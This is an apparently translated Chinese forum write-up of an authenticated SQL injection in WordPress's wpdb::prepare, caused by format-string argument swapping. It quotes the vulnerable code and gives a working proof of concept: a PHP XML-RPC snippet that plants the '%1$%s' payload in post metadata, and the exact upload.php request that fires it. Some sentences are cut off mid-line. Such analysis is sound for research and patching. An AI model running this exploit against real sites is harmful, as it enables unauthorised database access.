【译】Wordpress由格式化字符串引发的后台SQL注入漏洞

edwardx / 2017-09-11 13:20:00 / 浏览数 3500 技术文章 技术文章 顶(0) 踩(0)

原文：

- https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
- https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e

除翻译之外还加了一些自己的理解，如果有错误的地方还望大家批评指正。

译文：

以下是wp-includes/wp-db.php中prepare函数的代码：

```
public function prepare( $query, $args ) {
   if ( is_null( $query ) )
       return;
   // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
   if ( strpos( $query, '%' ) === false ) {
       _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()'
   }
   $args = func_get_args();
   array_shift( $args );
   // If args were passed as an array (as in vsprintf), move them up
   if ( isset( $args[0] ) && is_array($args[0]) )
       $args = $args[0];
   $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
   $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
   $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
   $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
   array_walk( $args, array( $this, 'escape_by_ref' ) );
   return @vsprintf( $query, $args );
}
```

代码中有两个有趣的点能给Wordpress带来危害：

- 参数覆盖
- SQL

首先来看参数覆盖，代码如下：

```
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
```

如果$args[0]是数组，那么将$args赋予为$args[0]的值。假设你的程序中含有如下代码：

```
$wpdb->prepare($sql, $input_param1, $sanitized_param2, $sanitized_param3);
```

如果$input_param1是可控的，那么可以将$input_param1设置为一个数组，进而控制$sanitized_param2和$sanitized_param3。

（译者注：具体到prepare这个函数中，这个点的利用方式在于如果$args[1]、$args[2]在传入函数前进行了过滤，可以将$args[0]作为一个数组传入，其中$args[0]
@vsprintf($query, $args);时就有可能将构造的值带入到查询中。）

SQL注入

为了使用prepare函数进行SQL注入，我们必须先了解这个函数的核心vsprintf（实际上就是sprintf）是如何工作的，其中$query是一个格式化字符串，$args是格式
swapping）。

（译者注：这里介绍一下Argument swapping，一般情况下我们会这样使用格式化字符串：

```
<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>
```

但是遇到如下情况怎么办呢？：

```
<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>
```

这里假设参数传入的顺序是不可变的，而且我们需要的就是这个格式的字符串。为了满足这个需求，可以将代码做这样的改变：

```
<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>
```

其中n$是个位置标识符，%2$s就代表着在第二个位置上的格式为字符串的参数，也就是示例中的$location，这样就可以满足上述的需求。）

回到prepare函数中，以下几行代码对$query进行了一些替换处理：

```
$query = str_replace( “‘%s’”, ‘%s’, $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( ‘“%s”’, ‘%s’, $query ); // doublequote unquoting
$query = preg_replace( ‘|(?<!%)%f|’ , ‘%F’, $query ); // Force floats to be locale unaware
$query = preg_replace( ‘|(?<!%)%s|’, “‘%s’”, $query ); // quote the strings, avoiding escaped strings like %%s
```

简单来说就是会将传入的%s变成'%s'。

如果**$query**的值含有**%1$%s**，在经过上述处理后会变成**%1$'%s'**，使用**sprintf**之后就变成了**$arg[1]'**，从而将单引号带入了查询。（译者注：可能是因为**sprintf**将%
swapping，进而可以使**%s**被解析。另外感觉这里应该是**$arg[0]**而不是**$arg[1]**。翻译得匆忙，并没有仔细研究，如果有问题还望大家指正。）

目前来看这只是理论上的可能性，并且这并不是合适的prepare函数的用法，不过如果在wp开发的过程中一些糟糕的程序员并没有按照代码标准和API文档进行开发，那么

在wp-includes/meta.php的delete_metadata函数中有这样一段代码：

```
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
   ...
   if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
       $query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
   $meta_ids = $wpdb->get_col( $query );
   if ( !count( $meta_ids ) )
       return false;

   if ( $delete_all ) {
       $value_clause = '';
       if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
           $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
       }
       $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $met
   }
   ...
}
```

当$delete_all ==
true且$meta_value的值存在于数据库中时，$value_clause会由$meta_value组成，然后$value_clause会被拼接到下面的格式化语句中，最终由$meta_key给这

wp-admin/upload.php中的wp_delete_attachment函数调用了delete_metadata，并且传入了期望数量的参数：

```
// wp-admin/upload.php
case 'delete':
   if ( !isset( $post_ids ) )
       break;
   foreach ( (array) $post_ids as $post_id_del ) {
       if ( !current_user_can( 'delete_post', $post_id_del ) )
           wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
       if ( !wp_delete_attachment( $post_id_del ) )
           wp_die( __( 'Error in deleting.' ) );
   }
   $location = add_query_arg( 'deleted', count( $post_ids ), $location );
   break;

// wp-includes/meta.php
function wp_delete_attachment( $post_id, $force_delete = false ) {
   ...
```

```
    if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
        return $post;
    ...
    delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
    ...
}
```

其中$post_id_del直接取自$_REQUEST。在执行delete_metadata('post', null, '_thumbnail_id', $post_id, true);之前，唯一可能存在的障碍是这段代码：

```
if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
    return $post;
```

这里要求$post_id必须存在于数据库中，不过由于这里是%d，php在将字符串转换成int型时会做尽力转换，所以当$post_id为id %1$%s payload时该值会被转换为id的值，进而使SQL语句得以成功执行并返回结果。

PoC

准备工作

从以下的代码可以看到，如果要触发漏洞，需要$meta_value在数据中，也就是说如果发送id %1$%s payload来触发漏洞，需要先将其插入到数据库中。实际操作中_thumbnail_id作为$meta_key，其值作为$meta_value。

```
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
        $query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
    $meta_ids = $wpdb->get_col( $query );
    if ( !count( $meta_ids ) )
        return false;
```

首先按如下步骤创建_thumbnail_id：

1. 以author权限登录到Wordpress中。
2. 上传图片
3. 记录图片ID
4. 创建文章并将图片保存为精选图片（Featured Images），这会创建_thumbnail_id
5. 记录文章ID

然后这里有两种设置_thumbnail_id的方法：

第一种是在Wordpress ≤ 4.7.4时使用XML-RPC，因为在https://wordpress.org/news/2017/05/wordpress-4-7-5/中提到了在这些版本中XML-RPC的API缺少对文章元数据（post meta data）的检查，这意味着我们可以使用如下代码来设置_thumbnail_id（其中6是文章ID，5是图片ID）：

```
$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"5 %1$%s hello"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
```

通过这段代码我们可以将_thumbnail_id设置为5 %1$%s hello并存入数据中。

第二种方法是使用Wordpress importer这个插件，如果目标使用了这个插件，只需要将对应元数据导出，修改后再导入即可。这个方法适用于所有版本的Wordpress。

执行 Payload

设置完Payload之后，使用具有author权限的账号登录到后台中，访问"媒体"页面，比如 http://local.target/wp-admin/upload.php，从页面源码中获取`_wpnonce`的值，然后发起如下请求：

http://local.target/wp-admin/upload.php?_wpnonce=yourwpnonce&action=delete&media=5%20%251%24%25s%20hello&mode=list

（译者注：这里的mode=list是我加上的，原作者并没有加这个参数。但是在我测试过程中如果没有这个参数SQL语句并不会被执行。）

其中5%20%251%24%25s%20hello是5 %1$%s helloURL编码后的结果。请求执行的结果是执行了如下SQL语句：

```
SELECT post_id FROM wp_postmeta WHERE meta_key = '_thumbnail_id' AND meta_value = '5 _thumbnail_id' hello
```

引号被成功带入了SQL语句，hello作为payload得以被执行。

（译者注：这里并没有错误回显，需要用盲注来获取数据）

点击收藏 | 0 关注 | 1

上一篇：后渗透测试神器Empire的详解 下一篇：用Spring Boot权限维持

1. 0 条回复
   - 动动手指，沙发就是你的了！